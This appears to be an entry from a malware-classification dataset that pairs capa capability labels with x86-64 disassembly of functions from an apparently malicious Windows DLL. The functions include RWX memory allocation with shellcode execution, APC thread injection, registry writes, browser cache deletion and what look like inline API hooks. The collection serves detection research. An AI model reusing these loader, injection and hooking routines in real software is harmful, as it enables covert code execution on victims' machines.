joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009410
Capabilities:
Create directory
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, 0x2365
mov ecx, ebx
call fcn.18002306c
mov rdi, rax
test rax, rax
je 0x1800094d3
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
test rax, rax
je 0x18000945f
lea rcx, [rdi + 4]
cmp rax, rcx
jbe 0x18000945f
cmp dword [rax - 5], 0x776f4c5c
jne 0x18000945f
lea rcx, [rax - 4]
mov rdx, rax
call qword [sym.imp.kERNEL32.dll_lstrcpyA]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
xor edx, edx
mov rcx, rdi
mov byte [rax], 0
call qword [sym.imp.kERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1800094bf
call qword [sym.imp.kERNEL32.dll_GetTickCount]
mov r9, rdi
xor edx, edx
xor eax, ebx
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.kERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1800094bf
mov rbx, qword [0x180035c60]
lea rcx, [0x1800393b8]
add rbx, rcx
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.kERNEL32.dll_lstrcpyA]
jmp 0x1800094d3
mov rcx, qword [0x180035a68]
mov r8, rdi
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
xor edi, edi
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1800094e4
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x180035b08]
mov edx, 1
mov r8d, edx
call fcn.180006270
mov rcx, qword [0x180035c00]
lea rdx, [0x18001e96c]
mov r9d, 1
xor r8d, r8d
add rsp, 0x28
jmp fcn.180005e14

Function at 0x180009a44
Capabilities:
Delete internet cache
Enumerate internet cache

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [0x180035a68]
xor edx, edx
mov r8d, 0x1000
xor edi, edi
mov dword [rax + 0x10], 0x1000
call qword [sym.imp.kERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180009af2
lea r8, [rsp + 0x38]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.WININET.dll_FindFirstUrlCacheEntryA]
mov rsi, rax
test rax, rax
je 0x180009ae0
mov edi, 1
mov rcx, qword [rbx + 8]
mov rdx, rbp
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x180009aba
mov rcx, qword [rbx + 8]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea r8, [rsp + 0x38]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x38], 0x1000
call qword [sym.imp.WININET.dll_FindNextUrlCacheEntryA]
test eax, eax
jne 0x180009a9e
mov rcx, rsi
call qword [sym.imp.WININET.dll_FindCloseUrlCache]
mov rcx, qword [0x180035a68]
mov r8, rbx
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x18000ac68
Capabilities:
Create thread
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
mov r9d, dword [0x180035c58]
mov qword [rax - 0x10], r8
mov r8, qword [sym.imp.kERNEL32.dll_SleepEx]
and dword [rax - 0x18], 0
mov rbx, rdx
mov rsi, rcx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x18000acdf
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.kERNEL32.dll_QueueUserAPC]
test eax, eax
jne 0x18000acdf
call qword [sym.imp.kERNEL32.dll_GetLastError]
mov rcx, rdi
mov edx, eax
mov ebx, eax
call qword [sym.imp.kERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.kERNEL32.dll_CloseHandle]
mov ecx, ebx
xor edi, edi
call qword [sym.imp.kERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rax, rdi
add rsp, 0x30
pop rdi
ret
Function at 0x18000b6dc
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x48
xor edi, edi
call qword [sym.imp.kERNEL32.dll_GetCommandLineA]
test rax, rax
je 0x18000b928
lea edx, [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_StrChrA]
mov rcx, rax
test rax, rax
je 0x18000b928
lea r14, [0x180000000]
mov rax, qword [0x180035c60]
lea rdx, [rax + r14 + 0x3aaea]
call qword [sym.imp.SHLWAPI.dll_StrStrA]
test rax, rax
je 0x18000b928
lea rcx, [rax + 0xc]
xor edx, edx
call fcn.18000f450
mov rsi, rax
mov qword [rsp + 0x90], rax
test rax, rax
je 0x18000b91f
lea r8, [rsp + 0x88]
mov dl, 0x2c
mov rcx, rax
call fcn.18000e0e8
test eax, eax
je 0x18000b90d
mov rax, qword [0x180035c60]
lea rdx, [rax + r14 + 0x3ab9a]
mov r13, qword [rsp + 0x88]
mov rcx, qword [r13]
call qword [sym.imp.kERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x18000b846
lea r9d, [rdi + 0x40]
mov r8d, 0x1000
mov r12d, 0xffff
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.kERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov qword [rsp + 0x98], rax
test rax, rax
je 0x18000b8fb
mov dword [rsp + 0x80], r12d
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0x4b]
call fcn.180014980
mov edi, eax
test eax, eax
jne 0x18000b830
cmp dword [rsp + 0x80], 6
jb 0x18000b830
movzx ecx, word [rbx]
cmp dword [rsp + 0x80], ecx
jne 0x18000b830
lea rax, [rbx + 6]
call rax
mov dword [rsp + 0x30], edi
jmp 0x18000b830
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_VirtualFree]
jmp 0x18000b8fb
mov rax, qword [0x180035c60]
lea rdx, [rax + r14 + 0x3a806]
mov rcx, qword [r13]
call qword [sym.imp.kERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x18000b8fb
xor r12d, r12d
lea edx, [rax + 2]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
je 0x18000b887
cmp eax, 1
je 0x18000b887
cmp eax, 0x80010106
jne 0x18000b88d
mov r12d, 1
test r12d, r12d
je 0x18000b8fb
lea r8, [rsp + 0x80]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x18000b8ec
mov rax, qword [0x180035c60]
lea rcx, [rax + r14 + 0x3a806]
mov r9d, 1
xor r8d, r8d
xor edx, edx
call fcn.1800143d4
mov edx, 0xe
mov rcx, qword [rsp + 0x80]
call fcn.180021d64
mov edi, eax
mov rcx, qword [rsp + 0x80]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
je 0x18000b8f5
cmp ebx, 1
jne 0x18000b8fb
call qword [sym.imp.ole32.dll_CoUninitialize]
mov r8, r13
xor edx, edx
mov rcx, qword [0x180035a68]
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov r8, rsi
xor edx, edx
mov rcx, qword [0x180035a68]
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov ecx, edi
call qword [sym.imp.kERNEL32.dll_ExitProcess]
xor eax, eax
add rsp, 0x48
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x18000bc1c
Capabilities:
Connect pipe
Read pipe
Write pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor esi, esi
mov ebp, r8d
mov r15, r9
and dword [rax - 0x38], esi
xor eax, eax
mov r13, rdx
mov r12d, ecx
lea r14d, [rbp + 0x10]
lea ebx, [rsi + 8]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x4c], eax
test r9, r9
je 0x18000bc74
mov rcx, r9
call qword [sym.imp.kERNEL32.dll_lstrlenA]
lea esi, [rax + 1]
add r14d, esi
jmp 0x18000bc7d
cmp ecx, 0x28
je 0x18000bd38
mov rcx, qword [0x180035a68]
mov r8d, r14d
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000bd36
mov ecx, dword [0x180035c5c]
mov dword [rax + 0xc], esi
mov dword [rax + 4], ecx
movzx ecx, r12w
mov dword [rax], ecx
lea ecx, [rsi + rbp]
mov dword [rax + 8], ecx
test esi, esi
je 0x18000bcc6
lea rcx, [rax + 0x10]
mov r8d, esi
mov rdx, r15
call sub.ntdll.dll_memcpy
test r13, r13
je 0x18000bcdf
test ebp, ebp
je 0x18000bcdf
lea rcx, [rsi + rdi + 0x10]
mov r8, rbp
mov rdx, r13
call sub.ntdll.dll_memcpy
mov rcx, qword [0x180035bd8]
lea rax, [rsp + 0x90]
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rdi
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.kERNEL32.dll_CallNamedPipeA]
test eax, eax
jne 0x18000bd22
call qword [sym.imp.kERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000bd24
xor ebx, ebx
mov rcx, qword [0x180035a68]
mov r8, rdi
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov eax, ebx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000c118
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0xa0
xor ebx, ebx
mov r14, r8
mov r13, rdx
mov r12d, ecx
lea rdi, [0x1800346b4]
mov esi, ebx
cmp dword [rdi - 4], r12d
jne 0x18000c18b
cmp dword [rdi], ebx
je 0x18000c19c
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov ebp, eax
jle 0x18000c19c
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, ebp
call fcn.18001e8e8
cmp eax, dword [rdi]
je 0x18000c19c
inc esi
add rdi, 0x14
cmp esi, 3
jae 0x18000c265
jmp 0x18000c14c
mov eax, esi
lea rbp, [0x1800346b0]
lea rdi, [rax + rax*4]
cmp dword [rbp + rdi*4 + 0xc], ebx
je 0x18000c1e6
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18000c1e6
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18001e8e8
cmp eax, dword [rbp + rdi*4 + 0xc]
jne 0x18000c265
cmp dword [rbp + rdi*4 + 8], ebx
je 0x18000c223
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov esi, eax
jle 0x18000c223
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18001e8e8
cmp eax, dword [rbp + rdi*4 + 8]
jne 0x18000c265
cmp dword [rbp + rdi*4 + 0x10], ebx
je 0x18000c260
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18000c260
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18001e8e8
cmp eax, dword [rbp + rdi*4 + 0x10]
jne 0x18000c265
mov ebx, 1
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret

Function at 0x18000c28c
Capabilities:
Get process image filename

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [0x180035a68]
xor edx, edx
mov r8d, 0x1000
mov edi, 1
call qword [sym.imp.kERNEL32.dll_HeapAlloc]
xor ebp, ebp
mov rbx, rax
cmp rax, rbp
je 0x18000c329
mov r8d, 0x800
mov rdx, rax
mov rcx, rsi
call sub.PSAPI.DLL_GetProcessImageFileNameW
cmp eax, ebp
je 0x18000c317
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rsi, rax
cmp rax, rbp
je 0x18000c317
mov rcx, rax
call qword [sym.imp.ntdll.dll__wcsupr]
mov rcx, rsi
call qword [sym.imp.kERNEL32.dll_lstrlenW]
mov rcx, rsi
mov edx, eax
call fcn.18001e8e8
xor eax, dword [0x180035c58]
cmp eax, 0x891a2451
cmove edi, ebp
mov rcx, qword [0x180035a68]
mov r8, rbx
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x18000df20
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push r13
sub rsp, 0x40
mov rax, qword [0x180035c60]
and qword [rsp + 0x78], 0
mov ebx, edx
mov rbp, rcx
lea r13, [0x180000000]
lea r8, [rsp + 0x30]
lea rdx, [rax + r13 + 0x3920a]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test eax, eax
jne 0x18000e0b4
mov r8, qword [0x180035f40]
mov rcx, qword [rsp + 0x30]
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
xor edx, edx
call fcn.18001df64
mov esi, eax
test eax, eax
jne 0x18000dfaa
mov rcx, qword [rsp + 0x78]
mov rdx, rbp
call qword [sym.imp.kERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x18000e08d
mov rcx, rbp
call qword [sym.imp.kERNEL32.dll_lstrlenW]
mov rdx, qword [0x180035f40]
mov rcx, qword [rsp + 0x30]
lea eax, [rax + rax + 2]
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test eax, eax
jne 0x18000e045
and dword [rsp + 0x70], eax
mov rax, qword [0x180035c60]
lea r8, [rsp + 0x38]
lea rdx, [rax + r13 + 0x3ae2a]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x18000e045
mov rax, qword [0x180035c60]
mov rcx, qword [rsp + 0x38]
lea r9d, [rsi + 4]
lea rdx, [rax + r13 + 0x3ab4c]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x18000e08d
mov rbx, qword [0x180035a88]
test rbx, rbx
je 0x18000e08d
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_EnterCriticalSection]
mov r8, qword [rbx + 0x30]
test r8, r8
je 0x18000e076
mov rcx, qword [0x180035a68]
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
xor edx, edx
mov rcx, rbp
call fcn.18002b3b0
mov rcx, rbx
mov qword [rbx + 0x30], rax
call qword [sym.imp.kERNEL32.dll_LeaveCriticalSection]
cmp qword [rsp + 0x78], 0
je 0x18000e0a9
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x180035a68]
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r13
pop rsi
pop rbp
ret
Function at 0x18000e718
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, rdx
mov rbp, rcx
mov ebx, 8
call qword [sym.imp.kERNEL32.dll_lstrlenA]
mov rcx, qword [0x180035a68]
xor edx, edx
lea r8d, [rax + 5]
call qword [sym.imp.kERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000e7e1
mov rdx, qword [0x180035c60]
lea rcx, [0x180039335]
mov r8, rbp
add rdx, rcx
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdx, qword [0x180035bf8]
lea r8, [rsp + 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test eax, eax
jne 0x18000e7cf
mov rcx, rsi
call qword [sym.imp.kERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x50]
lea r9d, [rbx + 1]
add eax, r9d
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x180035a68]
mov r8, rdi
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18000ef20
Capabilities:
Copy file
Create directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
mov eax, r8d
mov rbp, rcx
xor r14d, r14d
lea rsi, [rdx + rax*2]
mov rdi, r9
mov r12, rdx
mov rcx, rsi
mov ebx, r14d
call qword [sym.imp.kERNEL32.dll_lstrlenW]
mov r13d, eax
cmp rdi, r14
je 0x18000ef6f
mov rcx, rdi
call qword [sym.imp.kERNEL32.dll_lstrlenW]
mov ebx, eax
mov rcx, rbp
call qword [sym.imp.kERNEL32.dll_lstrlenW]
mov rcx, qword [0x180035a68]
xor edx, edx
add eax, r13d
lea r8d, [rax + rbx + 3]
add r8, r8
call qword [sym.imp.kERNEL32.dll_HeapAlloc]
mov rbx, rax
cmp rax, r14
je 0x18000f049
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.kERNEL32.dll_lstrcpyW]
cmp rdi, r14
je 0x18000efbb
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_lstrcatW]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_CreateDirectoryW]
lea rdx, [0x18002e740]
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_lstrcatW]
mov ebp, 0x5c
jmp 0x18000f009
mov word [rdi], r14w
call qword [sym.imp.kERNEL32.dll_lstrcatW]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_CreateDirectoryW]
lea rdx, [0x18002e740]
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_lstrcatW]
lea rsi, [rdi + 2]
mov word [rdi], bp
mov edx, ebp
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_StrChrW]
mov rdx, rsi
mov rcx, rbx
mov rdi, rax
cmp rax, r14
jne 0x18000efdd
call qword [sym.imp.kERNEL32.dll_lstrcatW]
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.kERNEL32.dll_CopyFileW]
mov rcx, qword [0x180035a68]
mov r8, rbx
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret

Function at 0x18000f068
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
and dword [rax + 0x18], 0
xor esi, esi
cmp byte [0x180035c70], 6
mov rbp, rdx
mov rbx, rcx
mov edi, 8
ja 0x18000f114
test rcx, rcx
je 0x18000f114
mov rax, qword [rdx + 0x30]
movabs r13, 0x8000000000000000
test qword [rax + 8], r13
jne 0x18000f0bb
call qword [sym.imp.kERNEL32.dll_lstrlenA]
mov edi, eax
lea r9, [rsp + 0x50]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
mov r12d, edi
call qword [sym.imp.kERNEL32.dll_VirtualProtect]
mov esi, eax
test eax, eax
je 0x18000f114
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x40], rbx
test qword [rcx + 8], r13
jne 0x18000f0f1
lea ecx, [rdi - 2]
mov byte [rcx + rbx], 0x7e
jmp 0x18000f0fe
movabs rax, 0x4000000000000000
or qword [rbx], rax
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_VirtualProtect]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov eax, esi
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x18000f8ec
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x28
test byte [0x18003412c], 4
je 0x18000f909
xor edx, edx
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 0x30]
call fcn.18000bc1c
xor edx, edx
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 0x2f]
call fcn.18000bc1c
mov rcx, qword [0x180035c88]
mov edx, 0x2710
call qword [sym.imp.kERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x180035c00]
lea rdx, [0x180021a70]
mov r9d, 1
xor r8d, r8d
add rsp, 0x28
jmp fcn.180005e14

Function at 0x18000fa7c
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x40
mov rbp, r8
mov r12, rdx
mov rdx, rcx
lea r8, [rax - 0x18]
mov rcx, 0xffffffff80000001
mov esi, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ebx, eax
test eax, eax
jne 0x18000fb77
test rbp, rbp
je 0x18000fb48
test esi, esi
je 0x18000fb48
mov rcx, qword [0x180035a68]
mov r8, rsi
xor edx, edx
call qword [sym.imp.kERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x18000fb41
mov r8, rsi
mov rdx, rbp
mov rcx, rax
call sub.ntdll.dll_memcpy
cmp dword [rsp + 0x70], ebx
je 0x18000fb0b
mov r8d, dword [0x180035c90]
xor r9d, r9d
mov edx, esi
mov rcx, rdi
call fcn.1800126cc
mov rcx, qword [rsp + 0x30]
mov r9d, 3
xor r8d, r8d
mov rdx, r12
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [0x180035a68]
mov r8, rdi
xor edx, edx
mov ebx, eax
call qword [sym.imp.kERNEL32.dll_HeapFree]
jmp 0x18000fb6c
mov ebx, 8
jmp 0x18000fb6c
and dword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x30]
and qword [rsp + 0x20], 0
mov r9d, 3
xor r8d, r8d
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop r12
ret
Function at 0x18000fb94
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
sub rsp, 0x40
mov rdi, r9
mov r13d, r8d
mov rsi, rdx
mov r12, rcx
and qword [rax - 0x18], 0
lea r9, [rax - 0x18]
xor r8d, r8d
mov rdx, qword [rcx + 8]
mov rcx, rsi
call fcn.180007c90
mov rbx, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x18000fd65
and dword [rsp + 0x24], 0
lea r8, [rsp + 0x24]
mov edx, 4
mov rcx, rax
call fcn.18002ae0c
test eax, eax
je 0x18000fd5b
mov qword [rdi + 0x30], r12
mov eax, dword [rbx]
add rax, rsi
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rbx
mov eax, dword [rbx]
mov qword [rdi + 0x20], rax
mov r9, rdi
mov r8d, r13d
mov rdx, rsi
mov rcx, r12
call fcn.18000e1b0
mov ebx, eax
mov dword [rsp + 0x28], eax
cmp eax, 1
jne 0x18000fd6e
mov eax, dword [0x180035c48]
test eax, eax
je 0x18000fcbb
bt dword [rdi + 0x38], 0xa
jb 0x18000fcbb
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.180001d04
mov rbx, rax
test rax, rax
je 0x18000fcbb
lea r8, [rsp + 0x20]
mov r13d, 0xe
mov edx, r13d
mov rcx, rax
call fcn.18002ae0c
test eax, eax
je 0x18000fcbb
and dword [rbx + 2], 0
mov rax, qword [rdi + 0x28]
mov qword [rbx + 6], rax
mov eax, 0x25ff
mov word [rbx], ax
mov qword [rdi + 0x28], rbx
mov qword [r12 + 0x18], rbx
mov r8d, dword [rsp + 0x20]
lea eax, [r13 + 0x12]
cmp r8d, 0x40
cmovne r8d, eax
mov dword [rsp + 0x20], r8d
lea r9, [rsp + 0x20]
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.kERNEL32.dll_VirtualProtect]
mov rax, qword [rdi + 0x28]
sub rax, rsi
mov rcx, qword [rsp + 0x38]
mov dword [rcx], eax
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov edx, 4
call qword [sym.imp.kERNEL32.dll_VirtualProtect]
or dword [rdi + 0x38], 0x102
bt dword [rdi + 0x38], 9
jae 0x18000fcf9
mov rdx, rdi
mov rcx, qword [rsp + 0x30]
call fcn.18000f068
lea rcx, [0x180035fc0]
call qword [sym.imp.kERNEL32.dll_EnterCriticalSection]
mov r11, qword [0x180035fb0]
mov qword [rdi], r11
lea rax, [0x180035fb0]
mov qword [rdi + 8], rax
mov qword [r11 + 8], rdi
mov qword [0x180035fb0], rdi
lea rcx, [0x180035fc0]
call qword [sym.imp.kERNEL32.dll_LeaveCriticalSection]
mov r11, qword [rdi + 0x20]
lea rax, [rsi + r11]
mov qword [r12 + 0x20], rax
xor ebx, ebx
mov dword [rsp + 0x28], ebx
mov rcx, rsi
call fcn.180014e14
test rax, rax
je 0x18000fd6e
and dword [rax + 0x80], ebx
jmp 0x18000fd6e
call qword [sym.imp.kERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x18000fd6e
mov ebx, 2
mov dword [rsp + 0x28], ebx
jmp 0x18000fd72
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
add rsp, 0x40
pop r13
ret